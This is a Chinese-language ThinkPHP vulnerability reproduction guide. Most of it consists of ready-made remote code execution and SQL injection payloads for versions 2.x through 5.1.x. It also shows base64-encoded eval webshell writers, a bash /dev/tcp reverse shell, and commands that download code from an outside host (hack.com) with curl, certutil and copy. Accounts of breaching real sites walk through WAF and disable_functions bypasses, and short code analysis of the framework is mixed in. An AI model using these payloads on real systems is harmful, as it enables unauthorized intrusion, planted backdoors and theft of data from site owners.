thinkphp漏洞复现
0x00:总述
在版本小于5.0.13,不开启debug的情况下 会通过变量覆盖修改$request类的变量的值通过bindParams中的param函数进行任意函数调用
_method=__construct&method=get&filter=system&s=whoami
在版本小于5.0.13,开启debug的情况下会执行命令两次 一次在bindParams的param 一次在run()中的param函数
_method=__construct&method=get&filter=system&s=whoami
在版本大于5.0.13小于5.0.21情况下,开启debug的情况下,在run()中的param函数执行命令
_method=__construct&method=get&filter=system&s=whoami
在版本大于5.0.13小于5.0.21情况下,不开启debug的下需要完整版thinkphp,在method分支下param函数rce
POST /index.php?s=captcha
_method=__construct&method=get&filter=system&s=whoami
在大于5.0.21小于等于5.0.23的情况下,由于修改了method函数的逻辑,无法随意用变量,这里统一用只能用get[],route[]。
完整版ThinkPHP如下
POST /index.php?s=captcha
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami
开启debug如下
_method=construct&method=get&filter=system&route[]=whoami
在5.0.24的时候由于限制了表单请求伪装传入的参数,传入的参数只能为限定的参数,无法进行request类下任意函数调用
0x01:ThinkPHP 2.x和3.0 任意代码执行漏洞
使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
影响版本
Thinkphp 2.x, ThinkPHP 3.0版本(Lite模式)
漏洞复现
payload:
http://172.22.0.1:8080//index.php?s=/index/index/name/${phpinfo()}
http://172.22.0.1:8080//index.php?s=/a/b/c/${phpinfo()}
写入Webshell
http://172.22.0.1:8080/index.php?s=a/b/c/${@print(eval($_POST[shell]))}
调用Webshell
蚁剑连接
反弹shell
bash -i >& /dev/tcp/192.168.88.133/4444 0>&1
0x02:ThinkPHP5.0.0- 5.0.23 远程代码执行漏洞
5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响版本
Thinkphp 5.0.0~ 5.0.23
漏洞复现
http://192.168.88.133:8080/?s=captcha
POST提交:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
打算写入一句话木马,发现$_POST被过滤掉了,经过测试,只要检测到$_这样的字符串,其后面的字符会被过滤掉一部分,其实只要在$符号前用\转义就行
尝试base64编码写入,完整的webshell
http://192.168.88.133:8080/?s=captcha
POST提交:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pgo= | base64 -d >shell.php
蚁剑连接
0x03:ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
影响版本
ThinkPHP5 5.0.22/5.1.29
漏洞复现
payload:
http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
payload
http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id
http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
同样的利用base64编码写入webshell
http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pgo= | base64 -d >shell.php
成功写入
getshell
0x04:ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
影响版本
ThinkPHP < 5.1.23
payload
http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
信息成功被爆出:
通过DEBUG页面,我们找到了数据库的账号、密码:
这又属于一个敏感信息泄露漏洞。不允许子查询的SQL注入点
0x05:ThinkPHP5.x.x各版本实战环境getshell
-5.1.18
http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
-5.0.5
waf对eval进行了拦截禁止了assert函数对eval函数后面的括号进行了正则过滤对file_get_contents函数后面的括号进行了正则过滤
http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
-5.1.18
所有目录都无写权限,base64函数被拦截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
-5.0.18
windowshttp://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
使用certutilhttp://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php由于根目录没写权限,所以写到uploads
-5.0.14
eval('')和assert('')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
-5.0.11
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php
-5.0.14
php7.2http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>写进去发现转义了尖括号
通过copy函数http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php
0x06:实战文章
第一篇:https://mp.weixin.qq.com/s/itfVog0HMNf5CizM7-QF5w
发现某站部署Thinkphp v5系统,并且在系统配置中是默认配置的debug模式:
在debug状态下,我们知道网站的绝对路径,并且ThinkPHP版本号为V5.0.x,由于开启debug状态,构造相应payload进行探测
POST:_method=__construct&filter[]=system&get[]=whoami
发现php配置文件中应该设置了disabled_function:
我们知道在phpinfo()中即使加入参数,也不影响其执行,因此
call_user_func('phpinfo()','1')
同样能够执行
先看一波phpinfo看看禁用哪些函数,发现还设置了open_basedir
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
把最为常用的函数禁用了,当该PHP版本低于7.2,因此assert这个关键的函数并没有过滤,也就意味着我们能先使用assert来做一些操作,本来是直接构造
POST:_method=__construct&filter[]=assert&get[]=assert($_POST[1]);
然后用antsword连上就好,但是发现并不能成功连接,原因可能是antsword和菜刀仅支持eval后门,可能现在就需要换一换思路:
在默认配置中,file_get_contents可以读取URL内容并进行输出,并且file_get_contents是不会被ban的,这里先验证一下:
POST:_method=__construct&filter[]=assert&get[]=assert($_POST[1]);&1=print(file_get_contents("./index.php"));
因此直接结合网站绝对路径,我们知道在public是面向用户的,我们可以利用file_get_contents读取马后使用file_put_contents写入到public目录下,这样就能够一句话进行连接
_method=__construct&filter[]=assert&get[]=$a=(file_get_contents("http://马的地址"));$b=file_put_contents('网站根目录/public/xxx.php',$a);
最终getshell
可见如果目前还在使用Thinkphp5.0版本是十分危险的,应该及时更新版本或者相应打上补丁
第二篇 :https://mp.weixin.qq.com/s/U_9vzqD0YTm9U-eA-XVngg
项目里遇到一个站,用的是ThinkPHP V5.0.*框架,且开启了debug模式,本以为一发payload的就能解决的事情,没想到拿下的过程还得小绕一下...
- 尝试命令执行,system被限制了
- 尝试包含日志文件,open_basedir限制了
- 这里有个思路,可以去包含runtime下的日志文件,但是thinkphp的日志文件比较大,而且有时候会有很多奇怪的问题阻断代码执行,暂且作为备选方案
- 尝试通过thinkphp本身Library中设置Session的方法把脚本写入tmp目录里的Session文件,然后进行包含
_method=__construct&filter[]=think\Session::set&method=get&server[REQUEST_METHOD]=<? phpinfo();?>
但是。。。
俗话说,三个臭皮匠顶一个诸葛亮,求助师傅们后,给出了解决的办法
- Noel 师傅和HTF师傅的解决方法及分析:
Request.php的filtervalue函数下存在call_user_func,根据Payload,跟踪下流程
首先会进入App.php的Run方法
public static function run(Request $request = null){ ………………………………
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) { /*执行当前类的routeCheck方法,获取调度信息,如访问index模块下index控制器里的index方法,则
$dispatch = array(2) { ["type"]=> string(6) "module"
["module"]=> array(3) {
[0]=> string(5) "index" [1]=> string(5) "index" [2]=> string(5) "index" } }
*/
$dispatch = self::routeCheck($request, $config);
} // 记录当前调度信息 将获取的调度信息,即模块,控制器,方法名存入Request类的dispatch属性中
$request->dispatch($dispatch); // 记录路由和请求信息 调式模式,在\application\config.php 参数app_debug可配置
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
} ………………………………}
这里我们主要关注routeCheck和param两个函数,先看routeCheck
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false; ………………………………
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
主要是将请求参数什么的传入,经过check后就基本上都处理好了
在调试模式开启的情况下可以进入param函数
if (empty($this->param)) {
$method = $this->method(true);
...... $this->param = array_merge($this->get(false), $vars, $this->route(false));
}return $this->input($this->param, $name, $default, $filter);
跟进input函数
public function input($data = [], $name = '', $default = null, $filter = '')
{
......
$filter = $this->getFilter($filter, $default); if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else { $this->filterValue($data, $name, $filter);
}
getFilter取出filter的值,在这里也就是assert
array_walk_recursive
array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。该函数与 array_walk() 函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。
及对$data的每一个元素应用filterValue函数,跟进filterValue
function filterValue(&$value, $key, $filters){
......
if (is_callable($filter)) { // 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
......
}
- 铳梦师傅和HTF师傅的解决方法及分析:
payload参考:
来自:https://xz.aliyun.com/t/3570#toc-4
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
执行phpinfo(这里注意看 ?s= 后的参数)
https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
拿shell
https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://127.0.0.1/shell.txt','test.php')
为什么要这么构造呢,给出当前的目录情况以及分析:
Route.php的parseUrl函数会对url进行处理
private static function parseUrl($url, $depr = '/', $autoSearch = false)
{
.......
$url = str_replace($depr, '|', $url); list($path, $var) = self::parseUrlPath($url);
......
}
首先将url中的/
替换为|
之后是parseUrlPath将url分割
private static function parseUrlPath($url)
{ // 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = []; if (false !== strpos($url, '?')) {
......
......
} elseif (strpos($url, '/')) { // [模块/控制器/操作]
$path = explode('/', $url);
} else {
......
} return [$path, $var];
}
得到如下三部分
模块加载时Loder.php下的parseName函数
public static function parseName($name, $type = 0, $ucfirst = true)
{ if ($type) {
$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) { return strtoupper($match[1]);
}, $name); return $ucfirst ? ucfirst($name) : lcfirst($name);
} else { return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}
}
现在就会实例化\Think\app类并执行invokefunction方法
所以加../\
的原因是可以再往前跳一层
查看禁用
- 一开始没仔细看禁用的内容,直接就用了这个
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
但是发现putenv被禁用了
- 换个方法,通过这篇文章
https://mochazz.github.io/2018/09/27/渗透测试之绕过PHP的disable_functions/
了解到利用pcntl扩展,确认系统支持
最终成功执行命令
第三篇 :https://mp.weixin.qq.com/s/-EgERP46Xf73MYEqFiXKEw
0x01 初探
打开这个站,debug开了 还是tp5.1.29 用IP去访问显示lnmp搭建,disable_function只禁用了几个函数
先用tp5.1X通杀版本payload打试试,payload 执行成功
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
使用file_get_contents去getshell,意料之中根目录没有写入权限
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test1.txt&vars[1][]=%3C?php%20phpinfo();?%3E
因为开了debug,有文件路径然后想着一顿操作找路径去写webshell,但是太浪费时间。/tmp目录一般都会有写入权限,如果能写进去 可以进行包含的话就可以进一步操作。包含使用“think__include_file”方法去包含,先试试能否进行包含
先写入一个PHPinfo文件到tmp目录:
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test1.txt&vars[1][]=%3C?php%20phpinfo();?%3E
再去包含它:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/test1.txt
上图包含在/tmp目录下创建的phpinfo执行成功,前面PHPinfo获取到的"disable_function,“popen" 没有被禁用,就用他来执行一个命令。
执行
"ls -la /home/wwwroot/xxxxxx/public/"
探测web路径下有写入权限的目录, "popen" 执行命令
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test1.txt&vars[1][]=<?php $fd = popen("command",'r'); $ret = fgets($fd);$fd = popen("ls -la /home/wwwroot/XXXXXXXXXX/test/public >/tmp/test1.txt", 'r');pclose($fd);print(fgets(fopen("/tmp/test1.txt",'r')));$fd=popen("whoami",'r');while($s=fgets($fd)){print_r($s);}
返回的长度为249:
包含"/tmp/test1.txt"使其执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/test1.txt
执行成功,返回结果权限是"www", ls命令的回显可能没来得及print,使用“readfile”函数去读取"/tmp/test1.txt"即可,"include_file"方法改为"readfile"
成功读取,仅有"static"目录具有权限,到这里就没什么难度了,再用"file_put_contents" 把shell写到static目录即可
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/home/wwwroot/XXXXXXXXX/test/public/x.php&vars[1][]=phpshellXXXXXXXXXXXX
行云流水 getshell, 打赏了一包华子收工。
thinkPHP5 RCE漏洞这么多,多走几步路就好了
参考链接:
https://www.mimanchi.online/index.php/archives/12/
0x07:GitHub项目
thinkphp v5.x 远程代码执行漏洞-POC集合 https://github.com/Hel10-Web/thinkphp-RCE-POC-Collection
thinkphp反序列化漏洞复现及POC编写 https://github.com/Dido1960/thinkphp
关于ThinkPHP框架的历史漏洞分析集合 https://github.com/Mochazz/ThinkPHP-Vuln